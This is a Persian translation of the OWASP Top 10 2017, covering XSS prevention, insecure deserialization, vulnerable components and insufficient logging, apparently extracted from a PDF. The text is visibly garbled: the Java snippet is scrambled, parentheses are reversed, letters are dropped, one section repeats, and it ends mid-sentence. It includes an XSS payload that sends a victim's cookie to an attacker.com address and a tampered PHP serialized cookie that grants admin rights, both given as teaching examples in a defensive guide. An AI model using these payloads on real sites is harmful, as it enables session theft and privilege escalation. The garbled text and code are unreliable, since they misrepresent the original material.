ــتفاده  ــیلورلایت اس ــش و س ــس، فل ــو ایک ــکریپت، اکتی ــاوا اس ــد ج ــر مانن ــمت مرورگ ــران س ــا، از مفس فنآوری‌ه
میکننــد. ایــن تنــوع باعــث ســختی تشــخیص خــودکار میشــود، مخصوصــا زمانــی کــه از برنامــه هــای مــدرن تــک 
صفحــه و چارچوبهــا و کتابخانــه هــای قدرتمنــد جــاوا اســکریپت اســتفاده میکنیــد. بنابرایــن پوشــش کامــل عــاوه 

بــر رویکردهــای خــودکار بــه ترکیــب بررســی کــد بهصــورت دســتی و آزمــون نفــوذ، نیــاز دارد. 

مثال‌هایی از سناریوهای حمله

برنامه  بدون تائید یا escape، از داده های غیرقابل اعتماد در ساخت قطعه HTML زیر استفاده میکند: 
	 'type='TEXT 	 'name='creditcard 	 input<" 	=+ 	 page 	 )String(

 + 	 "'=value

 CC'' را در مرورگــر خــود تغییــر میدهــد بــه:  ;">'" + )"request.getParameter("CC مهاجــم پارامتــر
 ?'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi

 '>foo='+document.cookie</script

ایــن حملــه باعــث میشــود شناســه نشســت قربانــی بــه وبســایت مهاجــم ارســال شــده و بــه مهاجــم اجــازه ســرقت 
نشســت کاربــر را میدهــد. 

ــه دفــاع خــودکار CSRF اســتفاده  ــرای جلوگیــری از هرگون توجــه داشــته باشــید کــه مهاجمــان میتواننــد از XSS ب
ــات بیشــتر در مــورد CSRF در 8A-2017 آمــده اســت.  ــد. جزئی کنن

نحوه پیشگیری از حمله

پیشگیری از نقص XSS نیاز به جداسازی داده های غیرقابل اعتماد از محتوای مرورگر فعال دارد. 
 HTML ســمت ســرور، گزینــه اول ایــن اســت کــه از داده هــای نامعلــوم در چارچــوب XSS 1. بــرای پیشــگیری از

)بدنــه، ویژگــی، جــاوا اســکریپت ،CSS یــا URL( کــه داده هــا در آن قــرار داده میشــوند، اســتفاده نکنیــد .
برای اطلاعات بیشتر در این زمینه OWASP XSS Prevention Cheat Sheet را ببینید. 

ــد  ــه میتوان ــان ک ــل اطمین ــای غیرقاب ــه داده ه ــت ک ــن اس ــه اول ای ــت، گزین ــگیری از XSS کلاین ــرای پیش 2. ب
محتــوای فعــال تولیــد کنــد، بــه جــاوا اســکریپت و ســایر API هــای مرورگــر ارســال نکنیــد. زمانــی کــه نتــوان 

 OWASP DOM based XSS Prevention Cheat ــه در ــور ک ــوان همانط ــام داد ، میت ــن کار را انج ای
Sheet توصیف شده، تکنیکهای escape حساس به متن را به API های مرورگر اعمال کرد. 

 AntiSamy، Java ــد ــودکار مانن ــازی خ ــای پاکس ــه ه ــر XSS، کتابخان ــایتتان در براب ــاع از کل س ــرای دف 3. ب
HTML Sanitizer Project یــا OWASP  را در نظــر بگیریــد.

4. برای دفاع از کل سایتتان در برابر XSS، سیاست امنیتی محتوا CSP را نیز در نظر بگیرید. 
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ــد  ــرا کنن ــی اج ــر قربان ــکریپتها را در مرورگ ــد اس ــان میتوانن  مهاجم
ــوای  ــد، محت ــن ببرن ــد، وب ســایتها را از بی ــر را مســدود کنن ــا کارب ت
ــد و  ــت کنن ــران را هدای ــد، کارب ــادل وارد کنن ــود را متع ــه خ خصمان

ــای مخــرب بشــکنند.  ــه ه ــتفاده از برنام ــا اس ــر را ب ــر کارب مرورگ

XSS زمانــی رخ میدهــد کــه برنامــه  یــک صفحــه وب را بــا شــیوع اطلاعــات 

کنتــرل شــده مهاجــم، بــدون بازگشــت از آن محتــوا یــا بــدون بســیار شــایع 

 XSS ــب ــد. معای ــه‌روز میکن ــن ،ب ــاوا اســکریپت ام ــک API ج اســتفاده از ی

ــاب شــده اســت  ــی: ذخیرهشــده و بازت ــي شــامل دودســته اصل ــف امنیت ضع

ــوند.  ــاد ش ــت ایج ــا کلاین ــرور ی ــر روی س ــد ب ــا میتوانن ــدام از آنه و هرک

تشــخیص اکثــر نقص‌هــای XSS از طریــق تســت یــا تجزیــه و تحلیــل کــد 

بســیار راحــت اســت . شناســایی XSS ســمت کلاینــت بســیار دشــوار اســت. 

ــات  ــاوی اطلاع ــه  ح ــک برنام ــه ی ــد ک ــی رخ میده ــای XSS زمان نقصه

ــا یــک  غیرقابــل اعتمــاد در یــک صفحــه وب جدیــد بــدون مجــوز باشــد ی

صفحــه وب موجــود را بــا داده هــای ارائــه شــده توســط کاربــر بــا اســتفاده از 

یــک مرورگــر API کــه میتوانــد جــاوا اســکریپت تولیــد کنــد ،به‌روزرســانی 

کنــد .XSS بــه مهاجمیــن امــکان اجــرای اســکریپتها در مرورگــر قربانــی را 

میدهــد کــه میتوانــد جلــوی کاربــر را بگیــرد، وب‌ســایتها را خــراب کنــد یــا 

ــد.  ــت کن ــه ســایت‌های مخــرب هدای ــر را ب کارب

تاثیرات ضعف امنیتی بردارهای حمله
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ــده گرفــت.  ــوان نادی تاثيــر ضعفهــاي Deserialization را نمــی ت
ــد هــای راه دور منجــر  ــه حمــات ک ــد ب ــی توان ــا م ــن نقــص ه ای

شــود، کــه یکــی از جــدی تریــن حمــات ممکــن اســت.
ــا بســتگی  ــه و داده ه ــای حفاظــت از برنام ــه نیازه ــر تجــاری ب تاثی

دارد.

این مسئله در Top 10 بر اساس تحقیقات صنعت و نه بر روی داده 
های قابل اندازه گیری وجود دارد.

برخی از ابزارها می توانند نقاط ضعف را بیابند، اما تست های انسانی 
اغلب برای اعتبارسنجی مشکل ضروری است. انتظار می رود که داده 
های شایع برای نقص های خنثی سازی افزایش یابد، زیرا ابزار توسعه 

برای کمک به شناسایی و رفع آن کمک می کند.

بهره برداری از diserialization تا حدودی دشوار است.

Insecure Deserialization
A8 
:2017

آیا برنامه کاربردی آسیب‌پذیر است؟

 
برنامــه هــای کاربــردی و API هــا آســیب پذیــر خواهنــد بــود اگــر آنهــا از اشــیاء متخاصــم یــا دزدیــده شــده توســط 

مهاجــم اســتفاده کننــد. ایــن مــی توانــد بــه دو نــوع اصلــی حمــات منجــر شــود:
ــا اگــر اشــیاء  ــر مــی دهــد ی ــا ســاختار داده هــا و جایــی کــه مهاجــم منطــق برنامــه را تغیی • حمــات مرتبــط ب
ــر  ــه کار تغیی ــان دادن ب ــا پــس از پای ــار را در طــی ی ــد رفت موجــود در برنامــه وجــود داشــته باشــد کــه مــی توانن

دهنــد، اجــرای کــد دلخــواه را اجــرا مــی کنــد.
ــرل دسترســی، کــه در آن ســاختار داده هــای  ــا کنت ــد حمــات مرتبــط ب ــد، مانن • داده هــا را دســتکاری مــی کن

موجــود اســتفاده مــی شــود امــا محتــوا تغییــر مــی کنــد.
Serialization ممکن است در برنامه های کاربردی برای:

)RPC / IPC( ارتباط از راه دور و اینترفیس •
• پروتکل های سیم، خدمات وب، کارگزاران پیام

• ذخیره سازی / پایداری
• پایگاه های داده، سرورهای ذخیره سازی، سیستم های فایل

API نشانه های تأیید ،HTML پارامترهای فرم ،HTTP کوکی •
استفاده شود.

مثال‌هایی از سناریوهای حمله

ســناریو شــماره 1: برنامــه React یــک مجموعــه از ســرویس هــای مایکروســافت Spring Boot را فراخوانــی 
مــی کنــد. برنامــه نویســان ســعی کردنــد اطمینــان حاصــل کننــد کــه کــد آنهــا تغییرناپذیــر اســت. راه حــل هایــی 
کــه بــا آن روبــرو شــدیم، ســریالی اســت و هــر درخواســت را بــه عقــب و جلــو منتقــل مــی کنــد. یــک مهاجــم بــه 
امضــای شــی "R00" اشــاره مــی کنــد و از ابــزار Java Serial Killer بــرای بــه دســت آوردن اجــرای کدهــای راه 

دور در ســرور برنامــه اســتفاده مــی کنــد.
ــه  ــاوی شناس ــی، ح ــک کوک ــره ی ــرای ذخی ــیء ب ــازی ش ــاده س ــن PHP از پی ــک انجم ــماره 2: ی ــناریو ش س

ــد: ــی کن ــتفاده م ــر اس ــای دیگ ــت ه ــور و حال ــز عب ــش، هــش رم ــر، نق ــری کارب کارب
;"user":4:s;2:Mallory";i":7:s;1:i;132:i;0:i{:4:a

};"b6a8b3bea87fe0e05022f8f3c88bc960":32:s;3:i

یک مهاجم شیء سریالی را برای دادن امتیازات مدیریت خود تغییر می دهد:
;"admin":5:s;2:Alice";i":5:s;1:i;1:i;0:i{:4:a

};"b6a8b3bea87fe0e05022f8f3c88bc960":32:s;3:i

نحوه پیشگیری از حمله

ــا اســتفاده از رســانه هــای  ــع نامشــخص اســت ی ــا الگــوی معمــاری امــن، تشــخیص اشــیاء ســریالی از مناب تنه
ســریالی کــه تنهــا نــوع داده هــای اولیــه را اجــازه مــی دهــد. اگــر ایــن امــکان پذیــر نیســت، یکــی از مــوارد زیــر 

را اعمــال کنیــد:
• پیــاده ســازی چــک هــای یکپارچــه ماننــد امضاهــای دیجیتالــی بــر روی هــر شــیء ســریالی بــرای جلوگیــری از 

ایجــاد شــی خصمانــه یــا جاسوســی داده هــا.
• اجرای محدودیت های سخت نوع در deserialization قبل از ایجاد شی به عنوان کد. 

ــا  ــوع مــورد انتظــار نیســت، ی ــوع ورودی ن ــه اینکــه کــدام ن ــی هــا، از جمل • عــدم نمایــش مــوارد اســتثنا و خراب
ــد. عــدم تمدی

• محدود کردن یا نظارت بر اتصال به شبکه های ورودی و خروجی.
• نظارت بر عدم وجود هشدار.
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ــه  ــا ب ــده تنه ــیب‌پذیری‌های شناخته‌ش ــی از آس ــه برخ ــی ک در حال
ــا  ــه ه ــن رخن ــی از بزرگ‌تری ــوند ، برخ ــی می‌ش ــی منته ــرات جزئ اث
ــده  ــیب‌پذیری‌های شناخته‌ش ــرداری ازآس ــر بهره‌ب ــروز ب ــه ام ــا ب ت
در قطعــات تکیــه کرده‌انــد.  بســته بــه دارایی‌هایــی کــه از آن 
ــت  ــالای لیس ــد در ب ــک بای ــن ریس ــاید ای ــود ، ش ــت می‌ش محافظ

باشــد. 

بســیاری از نــرم افزارهــا ایــن مســائل را دارنــد، چــون گــروه هــای توســعه دهنــده 
ی آنهــا بــه بروزبــودن مولفــه و کتابخانــه هــا توجــه نکــرده انــد. در برخــی مــوارد، 
حتــی تمــام مولفــه هــای مورداســتفاده خــود را نمیداننــد، و هرگــز بــه نســخه هــای 
آنهــا توجــه نمــی کننــد برخــی ابزارهانظیــر retire.js بــه شناســایی کمــک مــی 

کننــد ولــی تعییــن تــوان اکســپلویت زدن نیازمنــد تــاش بیشــتر اســت. 

ــرای  ــده ب ــته ش ــای نوش ــپلویت ه ــردن اکس ــدا ک ــه پی ــی ک در حال
بســیاری از آســیب‌پذیری‌های شناخته‌شــده بســیار آســان اســت 
ــی  ــپلویت سفارش ــاد اکس ــال ایج ــر بدنب ــیب‌پذیری‌های دیگ ــا آس ام

هســتند.

استفاده از مولفه های با آسیب پذیری های شناخته شده A9 
:2017

آیا برنامه کاربردی آسیب‌پذیر است؟

شما احتمالا آسیب پذیر هستید:
• اگــر نســخه هــای تمــام مولفــه هایــی کــه از آن‌هــا اســتفاده می‌کنیــد را ندانیــد )هــر دو طــرف کلاینــت و ســرور(  

ایــن شــامل اجزایــی اســت کــه مســتقیما از وابســتگی‌های تــو در تــو )توزیــع شــده( اســتفاده می‌کننــد.
• اگــر برنامــه ، آســیب‌پذیر یــا پشــتیبانی نشــده بــوده یــا بــروز نباشــد ایــن شــامل سیســتم‌عامل، وب اپلیکیشــن 
یــا ســرور، سیســتم مدیریــت پایگاه‌داده،برنامــه هــا، API هــا و همــه اجــزا، محیط‌هــای زمــان اجــرا و کتابخانــه 

ــود.  ــا می‌ش ه
• اگــر بــه طــور منظــم آســیب پذیــری هــا را اســکن نکنیــد وامنیــت بخــش هایــی کــه از آنهــا اســتفاده مــی کنیــد 

را کنتــرل نکنیــد
ــا ارتقــا  ــر ریســک تنظیــم و ی • اگــر پلــت فــرم ، چارچوب‌هــا  و وابســتگی‌های موجــود را در یــک مــد مبتنــی ب
ندهیــد ایــن امــر معمــولا در محیط‌هــای زمانــی رخ می‌دهــد کــه وصلــه کــردن یــک وظیفــه ماهانــه یــا فصلــی 
ــیب‌پذیری‌ها  ــع آس ــرای رف ــروری ب ــر ض ــه ه غی ــرای مواج ــا ب ــاه ه ــا م ــن روز ی ــازمان‌ها را چندی ــه س ــت ک اس

مشــغول مــی ســازد. 
• اگر برنامه نویسان ، سازگاری کتابخانه های بروز شده، ارتقا یافته و یا پچ را تست نکنند.

• اگر پیکربندی مولفه ها را امن نکنید.

مثال‌هایی از سناریوهای حمله

  ســناریو شــماره 1: اجزاءیــا مولفــه هــا تقریبــا همیشــه بــا دسترســی کامــل از برنامــه اجــرا میشــوند، بنابرایــن 
نقــص در هــر جــزء      مــی تواندمنجــر بــه تأثیــر جــدی شــود چنیــن نقصــی مــی توانــد تصادفــی (مثــا خطــای 
ــد  ــرار مــی گیرن ــری جــزء کــه مــورد سوءاســتفاده ق ــا عمــدی باشــد برخــی ازمــوارد آســیب پذی برنامــه نویســی) ی

شــامل:
ــا قابلیــت کنتــرل از راه دور کــه اجــرای کــد دلخــواه بــر روی ســرور  • CVE-2017-5638: یــک آســیب‌پذیری ب

ــرار گرفته‌اســت. ــد ق ــورد نق ــه م ــه قابل‌توج ــه خاطــر رخن ــازد ، ب ــر می‌س ــکان پذی را ام
• در حالــی کــه وصلــه کــردن در اینترنــت اشــیا ) IoT ( اغلــب دشــوار یــا غیــر ممکــن اســت، اهمیــت وصلــه کــردن 

آن‌هــا می‌توانــد بســیار قابــل توجــه باشــد ) بــه عنــوان مثــال وســایل پزشــکی(.
ــا پیکربنــدی اشــتباه  ــا ب ــه نشــده ی ــرای یافتــن سیســتم‌های وصل ــه مهاجمــان ب ــرای کمــک ب ابزارهــای خــودکار ب
وجــود دارد بــه عنــوان مثــال موتــور جســتجوی Shodan IoT  می‌توانــد بــه شــما کمــک کنــد تــا دســتگاه هایــی 

را پیــدا کنیــد کــه هنــوز از آســیب Heartbleed  کــه در آوریــل 2014 تعمیــر شــد، رنــج می‌برنــد .

نحوه پیشگیری از حمله

باید یک فرآیند مدیریت وصله وجود داشته باشد:
• حذف وابستگی های استفاده نشده، ویژگی های غیر ضروری، اجزاء، فایل ها و اسناد

ــه هــا(  و  ــه عنــوان مثــال چارچــوب ، کتابخان • مرتــب کــردن نســخه هــای هــر دو طــرف کلاینــت و ســرور )ب
ــد versions ، DependencyCheck ، retire.js و  ــی مانن ــتفاده از ابزارهای ــا اس ــا ب ــتگی‌های آن‌ه وابس
ــری هــای اجــزا نظــارت شــود،   ــرای آســیب پذی ــد CVE و NVD  ب ــر منابعــی مانن ــب ب ــه طــور مرت ــره. ب غی
از ابزارهــای تجزیــه و تحلیــل برنامــه  بــرای بهینــه ســازی فرآینــد اســتفاده شــود، بــه هشــدارهای ایمیــل بــرای 

ــود. ــه ش ــتفاده توج ــورد اس ــزای م ــه اج ــوط ب ــی مرب ــیب‌پذیری‌های امنیت آس
• مولفــه هــا فقــط از منابــع رســمی بــر روی لینــک هــای ایمــن دریافــت شــود. بســته هــای امضــا شــده بــرای 

کاهــش یــک جــزء مخــرب اصــاح شــده ترجیــح داده شــود.
•  نظــارت بــر کتابخانــه هــا و اجزایــی کــه پشــتیبانی نشــده یــا وصلــه هــای امنیتــی بــرای نســخه هــای قدیمی‌تــر 
ندارنــد. اگــر وصلــه کــردن امــکان پذیــر نیســت ، اســتفاده از یــک قطعــه مجــازی بــرای نظــارت ، تشــخیص یــا 

ــر مســاله کشف‌شــده حفاظــت در براب
هــر ســازمان بایــد اطمینــان حاصــل کنــد کــه یــک برنامــه مــداوم بــرای نظــارت و اســتفاده از بــه روزرســانی و یــا 

تغییــرات پیکربنــدی بــرای طــول عمــر برنامــه یــا نمونــه کارهــا وجــود دارد. 

منابع

OWASP

 OWASP Application Security Verification Standard: V1 Architecture design 	
and threat modelling
)OWASP Dependency Check (for Java and NET libraries 	
)OWASP Testing Guide: Map Application Architecture (OTGINFO-010 	
OWASP Virtual Patching Best Practices 	
The Unfortunate Reality of Insecure Libraries 	
MITRE Common Vulnerabilities and Exposures (CVE) search 	
)National Vulnerability Database (NVD 	
Retirejs for detecting known vulnerable JavaScript libraries 	
Node Libraries Security Advisories 	
Ruby Libraries Security Advisory Database and Tools 	



تاثیرات ضعف امنیتی بردارهای حمله

تجاری : ؟ فنی : 3 قابلیت تشخیص : 2 شیوع : 2 قابلیت بهره برداری :2 App. Specific

ــه  ــا ب ــده تنه ــیب‌پذیری‌های شناخته‌ش ــی از آس ــه برخ ــی ک در حال
ــا  ــه ه ــن رخن ــی از بزرگ‌تری ــوند ، برخ ــی می‌ش ــی منته ــرات جزئ اث
ــده  ــیب‌پذیری‌های شناخته‌ش ــرداری ازآس ــر بهره‌ب ــروز ب ــه ام ــا ب ت
در قطعــات تکیــه کرده‌انــد.  بســته بــه دارایی‌هایــی کــه از آن 
ــت  ــالای لیس ــد در ب ــک بای ــن ریس ــاید ای ــود ، ش ــت می‌ش محافظ

باشــد. 

بســیاری از نــرم افزارهــا ایــن مســائل را دارنــد، چــون گــروه هــای توســعه دهنــده 
ی آنهــا بــه بروزبــودن مولفــه و کتابخانــه هــا توجــه نکــرده انــد. در برخــی مــوارد، 
حتــی تمــام مولفــه هــای مورداســتفاده خــود را نمیداننــد، و هرگــز بــه نســخه هــای 
آنهــا توجــه نمــی کننــد برخــی ابزارهانظیــر retire.js بــه شناســایی کمــک مــی 

کننــد ولــی تعییــن تــوان اکســپلویت زدن نیازمنــد تــاش بیشــتر اســت. 

ــرای  ــده ب ــته ش ــای نوش ــپلویت ه ــردن اکس ــدا ک ــه پی ــی ک در حال
بســیاری از آســیب‌پذیری‌های شناخته‌شــده بســیار آســان اســت 
ــی  ــپلویت سفارش ــاد اکس ــال ایج ــر بدنب ــیب‌پذیری‌های دیگ ــا آس ام

هســتند.

تاثیرات ضعف امنیتی بردارهای حمله

تجاری : ؟ فنی : 3 قابلیت تشخیص : 2 شیوع : 2 قابلیت بهره برداری :2 App. Specific

اکثــر حمــات موفــق بــا کاوش آســیب‌پذیری آغــاز می‌شــوند.  
اجــازه دادن بــه ایــن کاوشــگرها می‌توانــد احتمــال اکســپلویت  

ــد.   ــش ده ــد افزای ــا 100 درص ــا ت ــق را تقریب موف
در ســال 2016 ، شناســایی یــک شــکاف )رخنــه( بــه طــور متوســط 

191 روز) زمــان زیــاد بــرای آســیب زدن( طــول کشــید.  

ــده  ــی گنجان ــی صنعت ــک بررس ــاس ی ــدول TOP10 براس ــوع در ج ــن موض ای
شده‌اســت. 

ــی  ــد، بررس ــی داری ــارت کاف ــما نظ ــا ش ــه آی ــن اینک ــرای تعیی ــتراتژی ب ــک اس ی
مجــدد رویدادهــای مربــوط بــه تســت نفــوذ اســت اقدامــات تســت کننــدگان بایــد 
بــه انــدازه کافــی ثبــت شــود تــا بداننــد کــه چــه آســیبی بــه آنهــا وارد شــده اســت.

اکســپلویت از نظــارت و  ثبــت رویــداد ناکافــی تقریبــا بســتر اصلــی 
ــه  ــخ ب ــارت و پاس ــدم نظ ــه ع ــان ب ــم اســت مهاجم ــاق مه ــر اتف ه
ــدن  ــایی ش ــدون شناس ــود ب ــداف خ ــه اه ــیدن ب ــرای رس ــع ،ب موق

ــتند. ــی هس متک

نظارت و ثبت رویداد ناکافی A10 
:2017

آیا برنامه کاربردی آسیب‌پذیر است؟

ثبت رویداد ، تشخیص، نظارت و پاسخ فعال ناکافی در هر زمان رخ می‌دهد:
رویدادهــای قابــل بررســی، ماننــد ورود بــه سیســتم ، ورود ناموفــق بــه سیســتم  و تراکنــش هــای بــا  	•

ارزش بــالا در سیســتم ثبــت نشــده انــد. 
هشدارها و اشتباهات موجب ایجاد پیام های رویداد مشخص یا کافی نمی شود. 	•

رویداد برنامه ها و API ها برای فعالیت مشکوک پایش نمی‌شوند.  	•
رویدادها فقط بصورت محلی ثبت شده اند. 	•

آستانه های مربوط به هشدار و فرآیندهای تشدید پاسخ، مناسب و یا موثر نیستند. 	•
تســت نفــوذ و اســکن توســط ابزارهــای DAST ماننــد) OWASP ZAP( باعــث هشــدار نمــی  	•

ــود. ش
ــا  ــرای حمــات فعــال در زمــان واقعــی ی ــا هشــدار ب ــه تشــخیص، تشــدید شــدن ی برنامــه قــادر ب 	•

نزدیــک بــه زمــان واقعــی نیســت.
شــما بــه علــت نشــت اطلاعــات آســیب‌پذیر هســتید، اگــر لاگ وقایــع و هشــدار هــا قابــل مشــاهده بــرای یــک 

کاربــر و یــا یــک فــرد باشــد.

مثال‌هایی از سناریوهای حمله

ســناریو 1:یــک نــرم افــزار انجمــن منبــع بــاز کــه توســط یــک تیــم کوچــک اجــرا مــی شــد بــا اســتفاده از نقــص 
در نــرم افــزار آن هــک شــد. مهاجمــان موفــق بــه از بیــن بــردن منبــع کــد داخلــی حــاوی نســخه بعــدی و تمامــی 
محتویــات انجمــن شــدند اگرچــه ایــن منبــع کــد را مــی تــوان بازیابــی کــرد ، امــا فقــدان نظــارت ، ثبــت رویــداد 
و یــا هشــدار دادن منجــر بــه نقــض بســیار بدتــری شــد. پــروژه برنامــه ی انجمــن در نتیجــه ایــن موضــوع، دیگــر 

فعــال نیســت .

ــام  ــد تم ــا می‌توانن ــد  آن‌ه ــکن می‌کن ــی اس ــذر واژه معمول ــتفاده از گ ــا اس ــران را ب ــم کارب ــک مهاج ــناریو 2: ی س
ــک  ــط ی ــکن فق ــن اس ــر ، ای ــران دیگ ــرای کارب ــد. ب ــار بگیرن ــذرواژه در اختی ــن گ ــتفاده از ای ــا اس ــاب‌ها را ب حس
ورود)login( ناموفــق بــه نظــر مــی رســد. پــس از چنــد روز ، ایــن کار ممکــن اســت بــا گــذرواژه متفــاوت تکــرار 

شــود. 
ــل  ــه و تحلی ــزار را تجزی ــی بداف ــل داخل ــی تحلی ــزرگ آمریکای ــروش ب ــک خرده‌ف ــه ی ــود ک ــه می‌ش ــناریو 3:گفت س
می‌کنــد  برنامــه  sandbox  بــه طــور بالقــوه برنامــه  ناخواســته را شناســایی کــرده بــود ، امــا هیچ‌کــس بــه ایــن 
کشــف واکنــش نشــان نــداد.  قبــل از ایــن کــه نفــوذ بــه دلیــل تراکنــش هــای کارت اعتبــاری توســط یــک بانــک 

خارجــی شناســایی شــود ، sandbox  چندیــن مرتبــه هشــدار داده بــود.

نحوه پیشگیری از حمله

همچنین در مورد خطر اطلاعات ذخیره شده یا پردازش شده توسط نرم افزار داریم:
ــار  ــه سیســتم، خطاهــای کنتــرل دسترســی و اعتب ــد کــه تمــام ورودی هــا ب ــان حاصــل کنی اطمین 	•
ســنجی ورودی طــرف ســرور را مــی تــوان بــا زمینــه کاربــری کافــی بــرای شناســایی حســاب‌های مشــکوک یــا 
ــت.  ــر انداخ ــه تاخی ــی ب ــل قانون ــه و تحلی ــه تجزی ــازه دادن ب ــرای اج ــی را ب ــان کاف ــرد و زم ــت ک ــت ثب نادرس
اطمینــان حاصــل کنیــد کــه رویدادهــا در یــک قالبــی تولیــد مــی شــود کــه مــی توانــد بــه راحتــی  	•

توســط یــک راه حــل  مدیریــت رویــداد متمرکــز مــورد اســتفاده قــرار گیــرد. 
ــا کنتــرل هــای  ــه حسابرســی ب ــالا دارای یــک دنبال ــا ارزش ب اطمینــان از اینکــه تراکنــش هــای ب 	•
ــند. ــابه باش ــا مش ــه ی ــگاه داده اضاف ــداول پای ــد ج ــذف، مانن ــا ح ــتکاری ی ــری از دس ــرای جلوگی ــه ب یکپارچ

ــع  ــه موق ــت هــای مشــکوک شناســایی و ب ــه طــوری کــه فعالی ــر و هشــدار ب •	 ایجــاد نظــارت مؤث
شــوند. داده  پاســخ 

•	 ایجــاد و یــا اتخــاذ یــک پاســخ تصادفــی و برنامــه ریــکاوری، ماننــد rev 61-800 NIST 2 یــا 
بالاتــر.

 ، OWASP AppSensor   ــد ــاز و تجــاری مانن ــن ب ــردی ‌مت ــه هــای کارب چارچــوب هــای حفاظــت از برنام
ــد ModSecurity with the OWASP ModSecurity Core Rule Set و  ــای وب مانن ــروال ه فای

ــا داشــبورد هــای سفارشــی و هشــدار دهنــده وجــود دارد. برنامــه  همبســتگی log  ب

منابع

OWASP
 OWASP Proactive Controls: Implement Logging and Intrusion 	•
Detection
 OWASP Application Security Verification Standard: V8 	•
Logging and     Monitoring
OWASP Testing Guide: Testing for Detailed Error Code 	•
OWASP Cheat Sheet: Logging 	•
External
Omission of Security-relevant Information :223-CWE 	•
Insufficient Logging :778-CWE



چه چیز دیگری برای توسعه دهندگان وجود دارد

ایجاد و استفاده از فرایندهای امنیت قابل تکرار و کنترل‌های امنیتی استاندارد

نیازمندیهای امنیتی برنامه

ــه  ــرای آن برنامــه وجــود دارد. OWASP توصی ــزار امنــی ب ــد مشــخص کــرد کــه چــه اب ــرای ایجــاد یــک برنامــه تحــت وب امــن ،بای      ب
ــه اســتفاده  ــی برنام ــم نیازمندی‌هــای امنیت ــرای تنظی ــا ب ــوان راهنم ــه عن ــه ) ASVS ) OWASP ب ــت برنام ــد امنی ــه از اســتاندارد تایی ــد ک می‌کن
ــه،  ــه : ضمیم ــردد. . نکت ــه گ ــزار OWASP ضمیم ــرم اف ــت ن ــرارداد امنی ــت  ق ــی بایس ــود، م ــپاری ش ــرون س ــه ب ــت ک ــرار اس ــر ق ــود.  اگ ش
ــرد  ــورت ک ــت مش ــا صلاحی ــی ب ــاوره حقوق ــا مش ــت ب ــی بایس ــه نمونه،م ــتفاده از ضمیم ــل از اس ــن قب ــت، بنابرای ــکا اس ــراردادی آمری ــون ق قان

معماری امنیتی برنامه

 OWASP ، OWASP  Prevention Cheat .هــا، طراحــی امنیتــی از ابتــدا بســیار مؤثرتــر اســت API بــه جــای ارتقــاء امنیــت برنامــه هــا و
Sheets  را بــه عنــوان نقطــه شــروع خــوب بــرای راهنمایــی در مــورد چگونگــی طراحــی امنیــت از ابتــدا توصیــه مــی کنــد.                                                                                                                                            

       کنترل‌های امنیتی استاندارد

ــا اســتفاده از مجموعــه‌ای از کنترل‌هــای امنیتــی اســتاندارد، توســعه  ــه کنترل‌هــای امنیتــی قــوی و قابل‌اســتفاده دشــوار اســت . ب  دســتیابی ب
برنامــه هــا و API  هــای امــن تســهیل مــی شــود . کنترل‌هــای فعــال OWASP Proactive Controls یــک نقطــه شــروع خــوب بــرای توســعه 
دهنــدگان اســت و بســیاری از چارچوب‌هــای مــدرن اکنــون بــا کنترل‌هــای امنیتــی اســتاندارد و موثــر بــرای مجــوز، اعتبــار ســنجی ، پیش‌گیــری 

چرخه توسعه امن

ــوغ تضمیــن برنامــه  )SAMM ( را پیشــنهاد  ــرای ســاخت برنامــه هــا و API  هــا، مــدل بل ــد ســازمان شــما ب ــود فرآین ــرای بهب OWASP ب
ــا  ــب ب ــه متناس ــد ک ــازی کنن ــن و پیاده‌س ــه  تدوی ــت برنام ــرای امنی ــتراتژی ب ــک اس ــا ی ــد ت ــک می‌کن ــازمان‌ها کم ــه س ــدل ب ــن م ــد . ای می‌کن

ــت .                                                                                                                                   ــازمان هاس ــاص آن س ــک‌های خ ریس

ــروژه هــای  ــه Flagship ، آزمایشــگاه و پ ــه هم ــی باشــد ک ــد م ــل بازدی ــروژه OWASP  قاب ــرای اســتفاده در دســترس هســتند . صفحــه پ ــه ب ــد ک ــددی وجــود دارن ــع OWASP متع مناب
Incubator را در فهرســت پــروژه OWASP  لیســت می‌کنــد.  اکثــر منابــع OWASP  در ویکــی در دســترس هســتند و بســیاری از اســناد OWASP  را مــی تــوان در hardcopy  یــا بــه عنــوان 

eBooks  ســفارش داد .

موضــوع امنیــت برنامــه وب چــه اینکــه موضــوع جدیــدی باشــد وچــه اینکــه از قبــل بــا ایــن ریســک‌ها آشــنا باشــید، تولیــد یــک برنامــه و بــی امــن و یــا تعمیــر یــک برنامــه موجــود 
می‌توانــد مشــکل باشــد.  اگــر شــما می‌خواهیــد یــک برنامــه بــزرگ را مدیریــت کنیــد ، ایــن کار می‌توانــد دلهــره‌آور باشــد. 

بــرای کمــک بــه ســازمان‌ها و توســعه دهنــدگان کــه ریســک‌های امنیتــی برنامــه خــود را بــه شــیوه‌ای مقرون‌به‌صرفــه کاهــش ‌دهنــد، OWASP منابــع رایــگان و آزاد فراوانــی را تولیــد 
کرده‌اســت کــه می‌تــوان از آن بــرای پرداختــن بــه امنیــت برنامــه در ســازمان خــود اســتفاده کــرد.  در ادامــه OWASP  منابــع متعــددی بــرای کمــک بــه ســازمان‌ها تولیــد کــرده کــه 
بتواننــد برنامــه هــای تحــت وب و API  هــای امــن تولیدکننــد.  در صفحــه بعــد منابــع OWASP  دیگــری ارائــه می‌شــود کــه می‌تواننــد بــه ســازمان‌ها در بررســی امنیــت برنامــه هــا 

وAPI هــای خــود کمــک کننــد.

+D 

ــرای  ــد. ب ــب آموزشــی فراهــم می‌کن ــه امنیــت برنامــه هــای وب مطال ــدگان در زمین ــه توســعه دهن ــرای کمــک ب ــروژه آمــوزش OWASP ب پ
ــروژه  ــا پ ــروژه OWASP Juice Shop  و ی ــیب‌پذیری ، OWASP WebGoat ، WebGoat.NET ، OWASP NodeJS ، پ ــورد آس ــری در م یادگی
ــوزش  ــه Conference OWASP AppSec  ، آم ــودن( ب ــروز ب ــان بودن)ب ــرای درجری ــد. ب ــان کنی ــته OWASP را امتح ــای وب شکس ــه ه برنام

ــود. ــه ش ــا OWASP Chapter meeting مراجع ــس OWASP  ی کنفران

آموزش امنیت برنامه



دیگر چه چیزی برای تست کننده های امنیتی وجود دارد؟

ایجاد تست امنیتی مداوم برنامه

درک مدل تهدید

ــا از  ــد . اولویت‌ه ــان روی آن صــرف کنی ــه زم ــزی مهــم اســت ک ــد چــه چی ــد بفهمی ــد ، ســعی کنی ــش کنی ــه آزمای ــل از اینکــه شــروع ب  قب
